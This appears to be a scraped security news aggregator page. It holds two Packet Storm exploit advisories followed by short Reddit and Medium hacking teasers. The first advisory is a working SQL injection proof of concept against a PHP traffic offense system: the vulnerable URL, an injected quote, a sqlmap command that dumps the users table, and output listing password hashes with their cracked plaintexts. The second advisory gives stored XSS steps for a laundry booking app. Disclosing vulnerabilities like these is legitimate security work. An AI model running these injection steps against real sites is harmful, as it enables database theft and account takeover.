Exploit Collector
Online Traffic Offense Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Online Traffic Offense Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 2f9acc8a8b3a0b91f178fb6d6df96192

Download
# Exploit Title: Online Traffic Offense Management System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 19/08/2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## SQL Injection

# Vulnerable page
http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=

#Vulnerable paramater
The id paramater is Vulnerable to sqli

#POC
going to http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=4'-- will throw errors on the web page.

Notice: Trying to get property 'num_rows' of non-object in /opt/lampp/htdocs/traffic_offense/admin/drivers/manage_driver.php on line 5
Notice: Trying to get property 'num_rows' of non-object in /opt/lampp/htdocs/traffic_offense/admin/drivers/manage_driver.php on line 10

Using sqlmap with dump database
sqlmap -u "http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=4" --cookie="PHPSESSIONID=83ccd78474298cd9c3ad3def1f79f2ac" -D traffic_offense_db -T users --dump

+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1 | 1 | uploads/1624240500_avatar.png | Admin | 0192023a7bbd73250516f069df18b500 (admin123) | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2021-06-21 09:55:07 |
| 9 | 2 | uploads/1629336240_avatar.jpg | Smith | 202cb962ac59075b964b07152d234b70 (123) | jsmith1 | John | 2021-08-19 09:24:25 | NULL | 2021-08-19 19:14:58 |
+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+


Source:packetstormsecurity.com

Exploit Collector
Laundry Booking Management System 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Laundry Booking Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | ba56a741110e947c152f7c5b3930436e

Download
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-19
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Step1: Log in to the application with any valid user credentials.
Step2: Select User Management and click add new user.
Step3: Fill the required details and type "" in the address box or you can it on a notepad and paste it into the firstname and lastname since it doesn't you to type special characters into those fields
Step 4:Click on Submit


Source:packetstormsecurity.com

hacking: security in practice
[Question] How to inject DLL library to Unity game on Linux?

Today, I decided to get into game hacking but I'm stuck at one problem for hours.

There are many excellent DLL injectors for Windows OS, but I couldn't find a single injector that works on Linux. The game is built on unity and is not running on an emulation layer (aka wine).

submitted by /u/developomp
[link] [comments]

Is Immunity CANVAS still a thing?
https://www.reddit.com/r/Pentesting/comments/p891a2/is_immunity_canvas_still_a_thing/

<!-- SC_OFF -->Hi, I was looking for network exploitation tools and I found CANVAS but I can't find much information. So I just wanted to know if it's still adopted by pentesters? <!-- SC_ON --> submitted by /u/Shylamo (https://www.reddit.com/user/Shylamo)
[link] (https://www.reddit.com/r/Pentesting/comments/p891a2/is_immunity_canvas_still_a_thing/) [comments] (https://www.reddit.com/r/Pentesting/comments/p891a2/is_immunity_canvas_still_a_thing/)

Hacking on Medium
Biggest Hacking in the digital currency world see the amount — Knowledge World

https://cdn-images-1.medium.com/max/1280/1*fwTE1NYf4j7Ba9_HoyqXmQ.jpeg
The biggest event in the age of digital currency. The hackers found 800 million in security, which is Rs 44,52,32,10,000, after finding…

Continue reading on Medium »

Hacking on Medium
eJPT Writeup and Review

https://cdn-images-1.medium.com/max/1062/1*vyvkm-UsPnytrfUheaaZtQ.png
Overview

Continue reading on Medium »

Hacking on Medium
How To Fix a Hacked Android Phone?

https://cdn-images-1.medium.com/max/780/1*EKTxys2-4pfOFUYZv_O4rA.jpeg
Today we will discuss how to fix if your Android phone is hacked. Smartphones are smart but sometimes hackers are better smart so they can…

Continue reading on Medium »

Hacking on Medium
Binary Exploitation Basics — Int Limits & Buffer Overflow

https://cdn-images-1.medium.com/max/633/0*7IkVudGaw9JcoxBH.png
It’s been a while. I’ve been practicing and delving more into the CTF world. Hacking capture the flag events help you not only to…

Continue reading on Medium »